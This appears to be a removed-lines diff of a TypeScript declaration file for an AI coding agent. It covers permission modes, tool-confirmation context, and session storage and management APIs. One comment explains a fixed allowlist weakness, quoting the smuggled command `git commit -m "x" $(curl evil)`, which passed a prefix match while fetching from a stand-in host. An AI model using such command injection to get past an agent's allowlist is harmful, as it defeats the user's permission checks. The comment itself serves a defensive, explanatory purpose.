|
|
22
|
-
/**
|
|
23
|
-
* Status-bar display name for a permission mode. Title-Case short labels
|
|
24
|
-
* (mirrors Claude Code's `shortTitle` convention in
|
|
25
|
-
* `src/utils/permissions/PermissionMode.ts`):
|
|
26
|
-
* - `plan` → `Plan`
|
|
27
|
-
* - `accept-edits` → `Edits`
|
|
28
|
-
* - `auto` → `Auto`
|
|
29
|
-
* - `auto-in-project` → `Auto` (deprecated alias folds into the canonical
|
|
30
|
-
* display name; the deprecation notice
|
|
31
|
-
* surfaces once per session at startup)
|
|
32
|
-
*
|
|
33
|
-
* Single source of truth for command output, startup summaries, and the live
|
|
34
|
-
* Ink status-bar view-model. The former write-only readline StatusBar was
|
|
35
|
-
* removed; Classic continues to use the same display helper in text surfaces.
|
|
36
|
-
*/
|
|
37
|
-
declare function permissionModeDisplayName(mode: PermissionMode): string;
|
|
38
|
-
interface ConfirmResult {
|
|
39
|
-
confirmed: boolean;
|
|
40
|
-
always?: boolean;
|
|
41
|
-
}
|
|
42
|
-
/**
|
|
43
|
-
* Tools that mutate the local filesystem AND accept a `path` input.
|
|
44
|
-
* Eligible for plan-mode's path-aware escape (writes to
|
|
45
|
-
* `.agent/plan_mode_doc.md` or the system temp dir are permitted; all
|
|
46
|
-
* other paths block).
|
|
47
|
-
*
|
|
48
|
-
* Derived from metadata: `sideEffect === 'mutates-fs'` AND
|
|
49
|
-
* `requiredParams.includes('path')`. Tools that mutate the FS without a
|
|
50
|
-
* `path` input (`undo`, `worktree_*`, construction-staircase tools) are
|
|
51
|
-
* NOT in this set — their plan-mode block reason is computed elsewhere
|
|
52
|
-
* via `isToolPlanModeAllowed()` instead of a path check.
|
|
53
|
-
*/
|
|
54
|
-
declare const FILE_MODIFICATION_TOOLS: Set<string>;
|
|
55
|
-
interface PermissionContext {
|
|
56
|
-
permissionMode: PermissionMode;
|
|
57
|
-
confirmTools: Set<string>;
|
|
58
|
-
gitRoot?: string;
|
|
59
|
-
alwaysAllowTools: string[];
|
|
60
|
-
onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
|
|
61
|
-
saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
|
|
62
|
-
switchPermissionMode?: (mode: PermissionMode) => void;
|
|
63
|
-
beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
|
|
64
|
-
/**
|
|
65
|
-
* FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
|
|
66
|
-
* When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
|
|
67
|
-
* a bash command before matching against allowlist patterns like
|
|
68
|
-
* `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
|
|
69
|
-
* where `git commit -m "x" $(curl evil)` matched the allowlist via naive
|
|
70
|
-
* `command.startsWith` semantics.
|
|
71
|
-
*
|
|
72
|
-
* KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
|
|
73
|
-
* `@kodax-ai/coding` and threads it here. SDK consumers / tests without
|
|
74
|
-
* LLM access can omit it; legacy startsWith semantics apply (documented
|
|
75
|
-
* as insecure in `matchesBashPatternLegacy`).
|
|
76
|
-
*/
|
|
77
|
-
bashPrefixExtractor?: BashPrefixExtractor;
|
|
78
|
-
}
|
|
79
|
-
/**
|
|
80
|
-
* Compute the base confirmation set for each permission mode.
|
|
81
|
-
*
|
|
82
|
-
* Note: `plan` still lists the standard mutating tools here even though most of
|
|
83
|
-
* them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
|
|
84
|
-
* This helper only describes the remaining confirmation step for calls that are
|
|
85
|
-
* not hard-blocked.
|
|
86
|
-
*/
|
|
87
|
-
declare function computeConfirmTools(mode: PermissionMode): Set<string>;
|
|
88
|
-
declare function isPermissionMode(value: string | undefined): value is PermissionMode;
|
|
89
|
-
declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;
|
|
90
|
-
|
|
91
|
-
/**
|
|
92
|
-
* Session Storage - Session storage abstraction layer
|
|
93
|
-
*
|
|
94
|
-
* Provides a shared persistence interface across memory and filesystem storage.
|
|
95
|
-
*/
|
|
96
|
-
|
|
97
|
-
/**
|
|
98
|
-
* Session data structure.
|
|
99
|
-
*/
|
|
100
|
-
type SessionData = KodaXSessionData;
|
|
101
|
-
/**
|
|
102
|
-
* Session storage interface.
|
|
103
|
-
*/
|
|
104
|
-
interface SessionStorage {
|
|
105
|
-
save(id: string, data: SessionData): Promise<void>;
|
|
106
|
-
load(id: string): Promise<SessionData | null>;
|
|
107
|
-
getLineage?(id: string): Promise<KodaXSessionLineage | null>;
|
|
108
|
-
setActiveEntry?(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
|
|
109
|
-
setLabel?(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
110
|
-
rewind?(id: string, selector?: string): Promise<SessionData | null>;
|
|
111
|
-
fork?(id: string, selector?: string, options?: {
|
|
112
|
-
sessionId?: string;
|
|
113
|
-
title?: string;
|
|
114
|
-
}): Promise<{
|
|
115
|
-
sessionId: string;
|
|
116
|
-
data: SessionData;
|
|
117
|
-
} | null>;
|
|
118
|
-
list(gitRoot?: string): Promise<Array<{
|
|
119
|
-
id: string;
|
|
120
|
-
title: string;
|
|
121
|
-
msgCount: number;
|
|
122
|
-
tag?: string;
|
|
123
|
-
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
124
|
-
}>>;
|
|
125
|
-
delete?(id: string): Promise<void>;
|
|
126
|
-
deleteAll?(gitRoot?: string): Promise<void>;
|
|
127
|
-
}
|
|
128
|
-
/**
|
|
129
|
-
* In-memory session storage implementation.
|
|
130
|
-
*/
|
|
131
|
-
declare class MemorySessionStorage implements SessionStorage {
|
|
132
|
-
private sessions;
|
|
133
|
-
save(id: string, data: SessionData): Promise<void>;
|
|
134
|
-
load(id: string): Promise<SessionData | null>;
|
|
135
|
-
getLineage(id: string): Promise<KodaXSessionLineage | null>;
|
|
136
|
-
setActiveEntry(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
|
|
137
|
-
setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
138
|
-
fork(id: string, selector?: string, options?: {
|
|
139
|
-
sessionId?: string;
|
|
140
|
-
title?: string;
|
|
141
|
-
}): Promise<{
|
|
142
|
-
sessionId: string;
|
|
143
|
-
data: SessionData;
|
|
144
|
-
} | null>;
|
|
145
|
-
rewind(id: string, selector?: string): Promise<SessionData | null>;
|
|
146
|
-
list(_gitRoot?: string): Promise<Array<{
|
|
147
|
-
id: string;
|
|
148
|
-
title: string;
|
|
149
|
-
msgCount: number;
|
|
150
|
-
tag?: string;
|
|
151
|
-
}>>;
|
|
152
|
-
delete(id: string): Promise<void>;
|
|
153
|
-
deleteAll(_gitRoot?: string): Promise<void>;
|
|
154
|
-
}
|
|
155
|
-
declare function createMemorySessionStorage(): SessionStorage;
|
|
156
|
-
|
|
157
|
-
/**
|
|
158
|
-
* KodaX session storage - filesystem implementation.
|
|
159
|
-
*/
|
|
160
|
-
|
|
161
|
-
declare class FileSessionStorage implements KodaXSessionStorage {
|
|
162
|
-
private readonly sessionsDir;
|
|
163
|
-
/**
|
|
164
|
-
* v0.7.46 — optional explicit project cwd for in-process embedders
|
|
165
|
-
* (KodaX Space) serving multiple projects from a single runtime.
|
|
166
|
-
* Threaded through `getGitRoot(this.hostCwd)` and `inspectWorkspaceRuntime({cwd: this.hostCwd})`
|
|
167
|
-
* so the workspace-mismatch check in `load()` compares against the
|
|
168
|
-
* project the embedder opened, NOT the embedder's startup directory.
|
|
169
|
-
* Unset → all paths behave identically to the pre-v0.7.46 form.
|
|
170
|
-
*/
|
|
171
|
-
private readonly hostCwd?;
|
|
172
|
-
/**
|
|
173
|
-
* v0.7.46 F7 — explicit opt-in for the CLI-style "[Warning] Session
|
|
174
|
-
* project mismatch" stderr notice emitted from `load()`. Pre-v0.7.46
|
|
175
|
-
* the gate was `!this.hostCwd` which fired whenever the embedder
|
|
176
|
-
* hadn't supplied a cwd — but that ALSO matched SDK consumers who
|
|
177
|
-
* don't set cwd (e.g. KodaX Space), bleeding the yellow warning into
|
|
178
|
-
* their stdout/stderr UI channels on every cross-project load. The
|
|
179
|
-
* v0.7.46 default is `false` — silent. CLI surfaces that want the
|
|
180
|
-
* old behavior (warn when user resumes a session from outside its
|
|
181
|
-
* original project) can pass `emitMismatchWarnings: true`.
|
|
182
|
-
*/
|
|
183
|
-
private readonly emitMismatchWarnings;
|
|
184
|
-
constructor(opts?: {
|
|
185
|
-
sessionsDir?: string;
|
|
186
|
-
cwd?: string;
|
|
187
|
-
emitMismatchWarnings?: boolean;
|
|
188
|
-
});
|
|
189
|
-
/** Absolute session root used by this storage instance. */
|
|
190
|
-
getSessionsDir(): string;
|
|
191
|
-
private writeQueues;
|
|
192
|
-
private serializedWrite;
|
|
193
|
-
private appendState;
|
|
194
|
-
private sessionDirCache;
|
|
195
|
-
private projectJsonWritten;
|
|
196
|
-
private migrationPromise?;
|
|
197
|
-
private ensureMigrated;
|
|
198
|
-
/** Update watermarks. Only overwrites fields the caller actually provided. */
|
|
199
|
-
private syncAppendState;
|
|
200
|
-
private legacyFlatPath;
|
|
201
|
-
private legacyFlatArchivePath;
|
|
202
|
-
private projectDir;
|
|
203
|
-
/** Resolve (and cache) the project directory a write for `id` should land in. */
|
|
204
|
-
private resolveWriteDir;
|
|
205
|
-
private writeFilePath;
|
|
206
|
-
/**
|
|
207
|
-
* id-only locator (ADR-038 §7). Resolution order:
|
|
208
|
-
* 1. cached project dir for this id
|
|
209
|
-
* 2. bounded scan of project dirs: <key>/<id>.jsonl
|
|
210
|
-
* 3. bounded scan of archived: <key>/archived/<id>.jsonl
|
|
211
|
-
* 4. legacy flat: <sessionsDir>/<id>.jsonl
|
|
212
|
-
* On multiple matches (only possible for pre-FEATURE_219 same-second
|
|
213
|
-
* duplicate ids) it prefers the current process's project dir, else
|
|
214
|
-
* returns null with a warning rather than guessing.
|
|
215
|
-
*/
|
|
216
|
-
private resolveSessionLocation;
|
|
217
|
-
private readSession;
|
|
218
|
-
/** Write `<dir>/project.json` once per process per directory (best-effort). */
|
|
219
|
-
private ensureProjectJson;
|
|
220
|
-
private writeSessionInternal;
|
|
221
|
-
private mergeAndWriteInternal;
|
|
222
|
-
appendSessionDelta(id: string, data: SessionData): Promise<void>;
|
|
223
|
-
private shouldRunMaintenance;
|
|
224
|
-
private runMaintenance;
|
|
225
|
-
save(id: string, data: SessionData): Promise<void>;
|
|
226
|
-
load(id: string): Promise<SessionData | null>;
|
|
227
|
-
getLineage(id: string): Promise<KodaXSessionLineage | null>;
|
|
228
|
-
setActiveEntry(id: string, selector: string, options?: {
|
|
229
|
-
summarizeCurrentBranch?: boolean;
|
|
230
|
-
}): Promise<SessionData | null>;
|
|
231
|
-
rewind(id: string, selector?: string): Promise<SessionData | null>;
|
|
232
|
-
setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
233
|
-
fork(id: string, selector?: string, options?: {
|
|
234
|
-
sessionId?: string;
|
|
235
|
-
title?: string;
|
|
236
|
-
}): Promise<{
|
|
237
|
-
sessionId: string;
|
|
238
|
-
data: SessionData;
|
|
239
|
-
} | null>;
|
|
240
|
-
/**
|
|
241
|
-
* v0.7.46 — `opts.limit` added so SDK consumers can request more than
|
|
242
|
-
* the legacy 10-entry cap. Default stays at 10 to preserve the
|
|
243
|
-
* interactive REPL picker's behavior. The `public-api.ts` fast path
|
|
244
|
-
* forwards the caller's `limit`; `deleteAll()` passes a large value
|
|
245
|
-
* so it can enumerate ALL sessions for the gitRoot.
|
|
246
|
-
*
|
|
247
|
-
* v0.7.46 — return now carries `createdAt` so the fast path in
|
|
248
|
-
* `public-api.ts` no longer silently strips it. Pre-v0.7.46 callers
|
|
249
|
-
* that only destructured `{id, title, msgCount, runtimeInfo}` are
|
|
250
|
-
* unaffected (extra fields are ignored).
|
|
251
|
-
*/
|
|
252
|
-
list(gitRoot?: string, opts?: {
|
|
253
|
-
limit?: number;
|
|
254
|
-
includeArchived?: boolean;
|
|
255
|
-
}): Promise<Array<{
|
|
256
|
-
id: string;
|
|
257
|
-
title: string;
|
|
258
|
-
msgCount: number;
|
|
259
|
-
tag?: string;
|
|
260
|
-
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
261
|
-
archived?: boolean;
|
|
262
|
-
createdAt?: string;
|
|
263
|
-
}>>;
|
|
264
|
-
/**
|
|
265
|
-
* FEATURE_219 Phase 4 — whole-session archive (ADR-038 §4). Moves the session
|
|
266
|
-
* file together with its island sidecar into `<projectKey>/archived/`. Paired
|
|
267
|
-
* (never orphans the sidecar). No-op + returns false for a missing session.
|
|
268
|
-
*/
|
|
269
|
-
archive(id: string): Promise<boolean>;
|
|
270
|
-
/** Restore an archived session back into its project directory. */
|
|
271
|
-
unarchive(id: string): Promise<boolean>;
|
|
272
|
-
/**
|
|
273
|
-
* Move a session + its island sidecar between two directories. Propagates a
|
|
274
|
-
* non-ENOENT rename error (e.g. Windows file-in-use) so a partial move is
|
|
275
|
-
* surfaced as a failure instead of silently splitting main + sidecar.
|
|
276
|
-
*/
|
|
277
|
-
private movePair;
|
|
278
|
-
delete(id: string): Promise<void>;
|
|
279
|
-
deleteAll(gitRoot?: string): Promise<void>;
|
|
280
|
-
/**
|
|
281
|
-
* Auto-retention: delete session files (`.jsonl` + `.archive.jsonl`) whose
|
|
282
|
-
* mtime is older than `retentionDays`. Modeled on claudecode's
|
|
283
|
-
* `cleanup.ts` (`unlinkIfOld`). Bounds the sessions directory so it never
|
|
284
|
-
* accumulates unboundedly — which is what keeps `list()`'s head-read pass
|
|
285
|
-
* fast (its cost scales with file COUNT, not size). A non-positive /
|
|
286
|
-
* non-finite `retentionDays` disables cleanup (no-op). Best-effort: per-file
|
|
287
|
-
* errors are swallowed so a single locked/racing file never aborts the
|
|
288
|
-
* sweep. Returns the number of files removed. mtime-based, so the session
|
|
289
|
-
* currently being written/resumed (fresh mtime) is never eligible.
|
|
290
|
-
*/
|
|
291
|
-
cleanupOldSessions(retentionDays: number): Promise<number>;
|
|
292
|
-
}
|
|
293
|
-
|
|
294
|
-
/**
|
|
295
|
-
* FEATURE_247 (R6) — imperative session compaction.
|
|
296
|
-
*
|
|
297
|
-
* Lets an SDK embedder (KodaX-Space) compact a session by id immediately —
|
|
298
|
-
* e.g. when the user clicks a "/compact" button — instead of forging a token
|
|
299
|
-
* snapshot or appending an empty message to trip auto-compaction. Loads the
|
|
300
|
-
* session, runs the same `compact()` pass the REPL `/compact` command uses,
|
|
301
|
-
* applies the result to the session lineage (so `loadFullTranscript` / resume
|
|
302
|
-
* see the compaction entry), and writes it back.
|
|
303
|
-
*
|
|
304
|
-
* Applies uniformly to Partner and Coder sessions. Never throws — failures
|
|
305
|
-
* return `{ compacted: false, reason }`.
|
|
306
|
-
*/
|
|
307
|
-
|
|
308
|
-
interface CompactSessionOptions {
|
|
309
|
-
/** Provider alias for the summarizer. Defaults to the session's persisted provider, then 'anthropic'. */
|
|
310
|
-
readonly provider?: string;
|
|
311
|
-
/** Model override forwarded to the summarizer. */
|
|
312
|
-
readonly model?: string;
|
|
313
|
-
/** Custom summarizer instructions (same as `/compact <text>`). */
|
|
314
|
-
readonly customInstructions?: string;
|
|
315
|
-
/** Provider context-window override (tokens). Otherwise resolved from the provider/model. */
|
|
316
|
-
readonly contextWindow?: number;
|
|
317
|
-
/** Sessions directory (mirrors createSessionManager's override). */
|
|
318
|
-
readonly sessionsDir?: string;
|
|
319
|
-
/** Injected storage instance (takes precedence over sessionsDir). */
|
|
320
|
-
readonly storage?: FileSessionStorage;
|
|
321
|
-
}
|
|
322
|
-
interface CompactSessionResult {
|
|
323
|
-
/** True when the session was actually rewritten. */
|
|
324
|
-
readonly compacted: boolean;
|
|
325
|
-
readonly tokensBefore: number;
|
|
326
|
-
readonly tokensAfter: number;
|
|
327
|
-
/** The rewritten (or unchanged) message list. */
|
|
328
|
-
readonly messages: KodaXMessage[];
|
|
329
|
-
/** Populated when `compacted` is false to explain why (not-found / no-op / error). */
|
|
330
|
-
readonly reason?: string;
|
|
331
|
-
}
|
|
332
|
-
/**
|
|
333
|
-
* Compact a session by id, writing the result (lineage + messages) back to
|
|
334
|
-
* storage. Never throws.
|
|
335
|
-
*/
|
|
336
|
-
declare function compactSession(sessionId: string, options?: CompactSessionOptions): Promise<CompactSessionResult>;
|
|
337
|
-
|
|
338
|
-
/**
|
|
339
|
-
* FEATURE_173 Part B (v0.7.42) — Session Management Public SDK.
|
|
340
|
-
*
|
|
341
|
-
* Thin facades over FileSessionStorage + discoverInstances. All methods
|
|
342
|
-
* NEVER throw — missing sessions return null, blocked operations return
|
|
343
|
-
* an error envelope, missing directories return empty arrays / no-op
|
|
344
|
-
* watchers.
|
|
345
|
-
*
|
|
346
|
-
* The `@kodax-ai/kodax/session` SDK subpath re-exports this module.
|
|
347
|
-
*/
|
|
348
|
-
|
|
349
|
-
interface SessionSummary {
|
|
350
|
-
readonly id: string;
|
|
351
|
-
/** Opaque continuation token; pass the last item cursor back to listSessions(). */
|
|
352
|
-
readonly cursor?: string;
|
|
353
|
-
readonly title: string;
|
|
354
|
-
readonly msgCount: number;
|
|
355
|
-
readonly tag?: string;
|
|
356
|
-
readonly createdAt?: string;
|
|
357
|
-
readonly runtimeInfo?: {
|
|
358
|
-
workspaceRoot?: string;
|
|
359
|
-
gitRoot?: string;
|
|
360
|
-
surface?: string;
|
|
361
|
-
profileId?: string;
|
|
362
|
-
};
|
|
363
|
-
/**
|
|
364
|
-
* FEATURE_219 (v0.7.46) — the per-project directory key this session lives
|
|
365
|
-
* under (ADR-038 §7). A backward-compatible hint: consumers may pass it back
|
|
366
|
-
* for precise disambiguation, but `loadSession(id)` works without it.
|
|
367
|
-
*/
|
|
368
|
-
readonly projectKey?: string;
|
|
369
|
-
/** FEATURE_219 — true when the session is whole-session archived (only ever
|
|
370
|
-
* surfaced when `includeArchived` is set). */
|
|
371
|
-
readonly archived?: boolean;
|
|
372
|
-
}
|
|
373
|
-
type SessionTranscriptEntryType = 'message' | 'compaction' | 'branch_summary'
|
|
374
|
-
/** Rewind audit marker; not included in `FullTranscriptSessionData.messages`. */
|
|
375
|
-
| 'rewind_marker' | 'client_notice'
|
|
376
|
-
/**
|
|
377
|
-
* Synthetic task/workflow completion entry derived from `_taskResult`,
|
|
378
|
-
* `_taskResults`, or legacy `<task-completed>` banners. The original
|
|
379
|
-
* `KodaXMessage` is still exposed on `message`, but consumers that want a
|
|
380
|
-
* complete transcript should not filter only `type === 'message'`.
|
|
381
|
-
*/
|
|
382
|
-
| 'task_result';
|
|
383
|
-
type SessionTranscriptEntrySource = 'user' | 'assistant' | 'workflow' | 'child_task' | 'system' | 'client';
|
|
384
|
-
interface SessionTranscriptEntry {
|
|
385
|
-
readonly entryId: string;
|
|
386
|
-
readonly parentId: string | null;
|
|
387
|
-
/** Stable logical identity shared by cloned/forked copies of the same entry. */
|
|
388
|
-
readonly logicalId: string;
|
|
389
|
-
/** Root source physical entry id when this transcript entry was cloned/forked. */
|
|
390
|
-
readonly sourceEntryId?: string;
|
|
391
|
-
readonly timestamp: string;
|
|
392
|
-
readonly type: SessionTranscriptEntryType;
|
|
393
|
-
readonly source?: SessionTranscriptEntrySource;
|
|
394
|
-
readonly turnId?: string;
|
|
395
|
-
readonly message: KodaXMessage;
|
|
396
|
-
readonly active: boolean;
|
|
397
|
-
readonly summary?: string;
|
|
398
|
-
readonly payload?: unknown;
|
|
399
|
-
readonly taskResults?: readonly KodaXTaskResultMetadata[];
|
|
400
|
-
}
|
|
401
|
-
interface FullTranscriptSessionData extends Omit<SessionData, 'messages'> {
|
|
402
|
-
readonly messages: KodaXMessage[];
|
|
403
|
-
readonly activeMessages: KodaXMessage[];
|
|
404
|
-
readonly transcriptEntries: SessionTranscriptEntry[];
|
|
405
|
-
}
|
|
406
|
-
interface AppendClientNoticeOptions {
|
|
407
|
-
readonly source?: string;
|
|
408
|
-
readonly content: string;
|
|
409
|
-
readonly timestamp?: string;
|
|
410
|
-
readonly turnId?: string;
|
|
411
|
-
readonly payload?: KodaXJsonValue;
|
|
412
|
-
}
|
|
413
|
-
interface ListSessionsOptions {
|
|
414
|
-
/**
|
|
415
|
-
* Alias for gitRoot; backwards-compat with KodaX Space terminology.
|
|
416
|
-
* When provided, list() is scoped to sessions from this project root.
|
|
417
|
-
*/
|
|
418
|
-
readonly projectRoot?: string;
|
|
419
|
-
/**
|
|
420
|
-
* Which session scopes to include.
|
|
421
|
-
* - 'user' (default): only user-initiated sessions.
|
|
422
|
-
* - 'managed-task-worker': only managed-task worker sessions.
|
|
423
|
-
* - 'all': no scope filter.
|
|
424
|
-
*/
|
|
425
|
-
readonly scope?: 'user' | 'managed-task-worker' | 'all';
|
|
426
|
-
/**
|
|
427
|
-
* Whether to include whole-session-archived sessions. FEATURE_219 (v0.7.46):
|
|
428
|
-
* archived sessions live in `<projectKey>/archived/` (see `archiveSession`);
|
|
429
|
-
* also still hides the legacy `archived-` filename prefix. Default false.
|
|
430
|
-
*/
|
|
431
|
-
readonly includeArchived?: boolean;
|
|
432
|
-
/** Maximum number of sessions to return. Default 50. */
|
|
433
|
-
readonly limit?: number;
|
|
434
|
-
/**
|
|
435
|
-
* ISO date string — return only sessions whose createdAt is before this
|
|
436
|
-
* timestamp. Applied after list + scope filtering.
|
|
437
|
-
*/
|
|
438
|
-
readonly before?: string;
|
|
439
|
-
/** Exact match. Omitted means no tag filter. */
|
|
440
|
-
readonly tag?: string;
|
|
441
|
-
/** Exact runtime surface match, for example `repl`, `cli`, `acp`, or `partner`. */
|
|
442
|
-
readonly surface?: string;
|
|
443
|
-
/** Opaque cursor returned on a previous page's last SessionSummary. */
|
|
444
|
-
readonly cursor?: string;
|
|
445
|
-
}
|
|
446
|
-
type WatchSessionsCallback = (event: {
|
|
447
|
-
kind: 'change' | 'add' | 'remove';
|
|
448
|
-
sessionId: string;
|
|
449
|
-
}) => void;
|
|
450
|
-
interface SessionManager {
|
|
451
|
-
listSessions: typeof listSessions;
|
|
452
|
-
loadSession: typeof loadSession;
|
|
453
|
-
loadFullTranscript: typeof loadFullTranscript;
|
|
454
|
-
appendClientNotice: typeof appendClientNotice;
|
|
455
|
-
forkSession: typeof forkSession;
|
|
456
|
-
rewindSession: typeof rewindSession;
|
|
457
|
-
setActiveEntry: typeof setActiveEntry;
|
|
458
|
-
deleteSession: typeof deleteSession;
|
|
459
|
-
archiveSession: typeof archiveSession;
|
|
460
|
-
unarchiveSession: typeof unarchiveSession;
|
|
461
|
-
listRunningSessions: typeof listRunningSessions;
|
|
462
|
-
watchSessions: typeof watchSessions;
|
|
463
|
-
/** FEATURE_247 (R6) — imperatively compact a session by id (writes lineage + emits nothing; returns stats). */
|
|
464
|
-
compactSession: typeof compactSession;
|
|
465
|
-
/**
|
|
466
|
-
* v0.7.43 — the raw write-side storage instance. SDK embedders pass
|
|
467
|
-
* this into `runKodaX({ session: { id, scope, storage } })` so the
|
|
468
|
-
* SA / AMA loops write per-turn JSONL snapshots to disk. Without an
|
|
469
|
-
* injected storage, `saveSessionSnapshot` is a silent no-op and the
|
|
470
|
-
* sessions directory stays empty regardless of `session.id`.
|
|
471
|
-
*
|
|
472
|
-
* See {@link FileSessionStorage} for the concrete implementation and
|
|
473
|
-
* `docs/SDK_EMBEDDER_GUIDE.md` §6 for the end-to-end recipe.
|
|
474
|
-
*/
|
|
475
|
-
storage: FileSessionStorage;
|
|
476
|
-
}
|
|
477
|
-
/**
|
|
478
|
-
* List sessions, optionally filtered by scope, limit, and date.
|
|
479
|
-
* NEVER throws. Returns [] when the sessions directory is empty or missing.
|
|
480
|
-
*/
|
|
481
|
-
declare function listSessions(opts?: ListSessionsOptions): Promise<SessionSummary[]>;
|
|
482
|
-
/**
|
|
483
|
-
* Load full session data by ID.
|
|
484
|
-
* Returns null for a missing session. NEVER throws.
|
|
485
|
-
*/
|
|
486
|
-
declare function loadSession(id: string): Promise<SessionData | null>;
|
|
487
|
-
/**
|
|
488
|
-
* Load append-order transcript data by ID.
|
|
489
|
-
*
|
|
490
|
-
* `loadSession` remains the active model-context API. This helper is for UI
|
|
491
|
-
* scrollback: it returns every persisted transcript-bearing lineage entry in
|
|
492
|
-
* append order and keeps the active branch in `activeMessages`.
|
|
493
|
-
*/
|
|
494
|
-
declare function loadFullTranscript(id: string): Promise<FullTranscriptSessionData | null>;
|
|
495
|
-
/**
|
|
496
|
-
* Append a host-owned transcript notice that never enters model context.
|
|
497
|
-
*
|
|
498
|
-
* Use this for local slash-command output such as `/doctor`, `/mcp status`,
|
|
499
|
-
* or host-side status panes. It is visible through `loadFullTranscript()` but
|
|
500
|
-
* `loadSession()` keeps returning only the active model messages.
|
|
501
|
-
*/
|
|
502
|
-
declare function appendClientNotice(id: string, options: AppendClientNoticeOptions): Promise<SessionTranscriptEntry | null>;
|
|
503
|
-
/**
|
|
504
|
-
* Fork a session at an optional selector.
|
|
505
|
-
* Returns null for a missing session. NEVER throws.
|
|
506
|
-
*/
|
|
507
|
-
declare function forkSession(id: string, opts?: {
|
|
508
|
-
selector?: string;
|
|
509
|
-
sessionId?: string;
|
|
510
|
-
title?: string;
|
|
511
|
-
}): Promise<{
|
|
512
|
-
sessionId: string;
|
|
513
|
-
data: SessionData;
|
|
514
|
-
} | null>;
|
|
515
|
-
/**
|
|
516
|
-
* Rewind a session to a previous user entry.
|
|
517
|
-
* Returns null for a missing session. NEVER throws.
|
|
518
|
-
*/
|
|
519
|
-
declare function rewindSession(id: string, opts?: {
|
|
520
|
-
selector?: string;
|
|
521
|
-
}): Promise<SessionData | null>;
|
|
522
|
-
/**
|
|
523
|
-
* Set the active lineage entry by selector.
|
|
524
|
-
* Returns null for a missing session. NEVER throws.
|
|
525
|
-
*/
|
|
526
|
-
declare function setActiveEntry(id: string, selector: string): Promise<SessionData | null>;
|
|
527
|
-
interface RunningSessionInfo {
|
|
528
|
-
readonly pid: number;
|
|
529
|
-
readonly startedAt: number;
|
|
530
|
-
readonly cwd: string;
|
|
531
|
-
/**
|
|
532
|
-
* v0.7.43 — populated from `PersistedSessionState.sessionId`, published
|
|
533
|
-
* by the REPL after `createInteractiveContext`. Remains `undefined` for
|
|
534
|
-
* a brief window during a peer's bootstrap (before the first sessionId
|
|
535
|
-
* is generated) and for peers running pre-v0.7.43 binaries; consumers
|
|
536
|
-
* MUST handle `undefined`.
|
|
537
|
-
*/
|
|
538
|
-
readonly sessionId: string | undefined;
|
|
539
|
-
}
|
|
540
|
-
/**
|
|
541
|
-
* Returns live KodaX sibling instances (excluding this process).
|
|
542
|
-
* Uses discoverInstances() from @kodax-ai/agent (FEATURE_125 Team Mode).
|
|
543
|
-
* NEVER throws. Returns [] when no instances directory exists.
|
|
544
|
-
*/
|
|
545
|
-
declare function listRunningSessions(): Promise<RunningSessionInfo[]>;
|
|
546
|
-
type DeleteSessionResult = {
|
|
547
|
-
ok: true;
|
|
548
|
-
} | {
|
|
549
|
-
error: {
|
|
550
|
-
code: 'session_running';
|
|
551
|
-
runningProcess: {
|
|
552
|
-
pid: number;
|
|
553
|
-
startedAt: number;
|
|
554
|
-
};
|
|
555
|
-
};
|
|
556
|
-
};
|
|
557
|
-
/**
|
|
558
|
-
* Delete a session by ID.
|
|
559
|
-
* Returns { ok: true } on success (including when the session doesn't exist).
|
|
560
|
-
* Returns an error envelope when the session is currently running.
|
|
561
|
-
* NEVER throws.
|
|
562
|
-
*/
|
|
563
|
-
declare function deleteSession(id: string): Promise<DeleteSessionResult>;
|
|
564
|
-
/**
|
|
565
|
-
* FEATURE_219 (v0.7.46) — whole-session archive. Moves the session (and its
|
|
566
|
-
* island sidecar) into `<projectKey>/archived/`. Returns false for a missing
|
|
567
|
-
* session. NEVER throws. Archived sessions are hidden from the default listing
|
|
568
|
-
* and resurface only with `listSessions({ includeArchived: true })`.
|
|
569
|
-
*/
|
|
570
|
-
declare function archiveSession(id: string): Promise<boolean>;
|
|
571
|
-
/** Restore an archived session back into its project directory. NEVER throws. */
|
|
572
|
-
declare function unarchiveSession(id: string): Promise<boolean>;
|
|
573
|
-
/**
|
|
574
|
-
* Watch the sessions directory for changes.
|
|
575
|
-
* Returns { close() } that stops the watcher / poll interval.
|
|
576
|
-
*
|
|
577
|
-
* Platform branches:
|
|
578
|
-
* - POSIX: fs.watch() with 100ms debounce.
|
|
579
|
-
* - Windows: readdir poll every 1000ms, diffed against a snapshot.
|
|
580
|
-
*
|
|
581
|
-
* NEVER throws — if the directory doesn't exist the watcher is a no-op
|
|
582
|
-
* until the directory is created.
|
|
583
|
-
*/
|
|
584
|
-
declare function watchSessions(cb: WatchSessionsCallback): {
|
|
585
|
-
close: () => void;
|
|
586
|
-
};
|
|
587
|
-
/**
|
|
588
|
-
* Factory that returns an object with all session management methods bound.
|
|
589
|
-
*
|
|
590
|
-
* v0.7.43 (FEATURE_173 Part B follow-up) — the `sessionsDir` override is
|
|
591
|
-
* now honored. When provided, all read/write/watch operations go through
|
|
592
|
-
* that directory instead of the module-load-frozen `KODAX_SESSIONS_DIR`.
|
|
593
|
-
* `listRunningSessions` still consults the agent-config-home instances
|
|
594
|
-
* directory (sibling-process awareness is not scoped per sessions dir).
|
|
595
|
-
*/
|
|
596
|
-
declare function createSessionManager(opts?: {
|
|
597
|
-
sessionsDir?: string;
|
|
598
|
-
}): SessionManager;
|
|
599
|
-
|
|
600
|
-
